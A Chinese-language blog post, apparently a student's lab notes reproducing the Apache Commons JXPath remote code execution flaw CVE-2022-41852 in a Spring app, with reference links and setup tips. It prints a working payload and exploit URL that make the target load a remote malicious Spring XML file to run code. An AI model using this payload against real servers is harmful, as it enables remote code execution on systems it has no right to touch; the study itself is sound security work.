Apache Commons JXPath是美国阿帕奇(Apache)基金会的一种 XPath 1.0 的基于 Java 的实现。JXPath 为使用 XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API。
漏洞描述
Apache Commons JXPath 存在安全漏洞,攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext类函数通过XPath表达式从类路径加载任何Java类,从而执行恶意代码。
文章介绍:
本文基于这两篇文章进行漏洞复现
CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析 - FreeBuf网络安全行业门户
https://github.com/Warxim/CVE-2022-41852
因为此漏洞是基于spring框架的,所以首先了解spring框架的搭建、运行等基本知识
Spring框架基础知识 - 知乎 (zhihu.com)
要了解JXpath,就要先了解Xpath,粗略地理解为:用java实现的”爬虫“技术(爬取XML等文件)
使用JXPath访问java对象、集合和XML文件 - weidagang2046的专栏 - BlogJava
补充:spring bean
Spring Bean详细讲解 什么是Bean?_鹿‘s的博客-CSDN博客_springbean
顺着文章思路可以发现,问题出在其中PackageFunctions类中的org.apache.commons.jxpath.PackageFunctions函数;
如果是实例化构造函数,在Spring框架中==可通过加载远程配置实现命令执行==,这里使用
这里可以类比XSS(跨站脚本攻击)
org.springframework.context.support.ClassPathXmlApplicationContext类,构造payload:
org.springframework.context.support.ClassPathXmlApplicationContext.new(“http://127.0.0.1:8001/test.xml”) // 后面这个就是执行的恶意文件;
知识点补充:
问题: spring如何加载远程配置?
因为spring应用中的properties文件都是打包在war中,当服务器数量庞大时,修改配置相当麻烦;故采用加载远程配置的方式,所有应用启动时从云上获取配置,配置需要修改时,直接修改git上的配置即可;
文章参考:spring: 加载远程配置 - 腾讯云开发者社区-腾讯云 (tencent.com)
然后就是构造恶意xml文件,设置init-method实现RCE:
关于init-method
Spring中init-method和destroy-method的四种方式_星夜孤帆的博客-CSDN博客_init-method
RCE:远程代码执行漏洞
在实例化之后,继续跟进会来到org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue
在获得了org.apache.commons.jxpath.Function对应的这个实例后,会调用具体的invoke实现。
什么是invoke?
精髓:在未知的情况下,根据条件决定去调用什么对象,什么方法
思想:反射调用;
参考文献:Java的invoke方法_我是坑货的博客-CSDN博客_java invoke
使用其他的函数或者调用实现漏洞(此处不再展示)
(代码可参考POC中的read.md)
并将该文件放到网页根目录中,比如127.0.0.1的根目录下(方便接下来调用)
说明:
其实文章中用python开启http和直接用phpstudy效果是一样的,只要开启http服务就行;
本质:
这个很巧妙,因为访问的是网页中的文件,而不是本地中的文件,效果更好;
网页链接:
http://localhost:8080/vulnerable-example?path=org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1/test.xml")
效果:
1)下载Tomcat
参考文章:
Tomcat安装及配置_思想在拧紧的博客-CSDN博客_tomcat
在tomcat访问自己写的项目_秃头披风侠.的博客-CSDN博客
2)文件要放在webapps下
spring是个框架,要这个框架运行,就必须得执行代码,让他跑起来;而不是让其作为一个代码“躺在”文件中;
如图:
因为把网页弄错啦!!!
执行的是vulnerable(漏洞)的那段代码,而不是secure(加补丁)后的代码!!!
a、遇到不会的话,先判断哪些名词是最关键的,然后一个个突破;
b、不需要每个名词都深究,把握“牛和鹿”的原则,有的深挖,有的了解即可;
比如这个:
说明找不到这个函数,为什么?因为我输错网址了…
要学会看!!!而不是嫌麻烦就不管了!!!
1,Apache Commons JXPath 任意代码执行漏洞(CVE-2022-41852)_墨菲安全 (murphysec.com)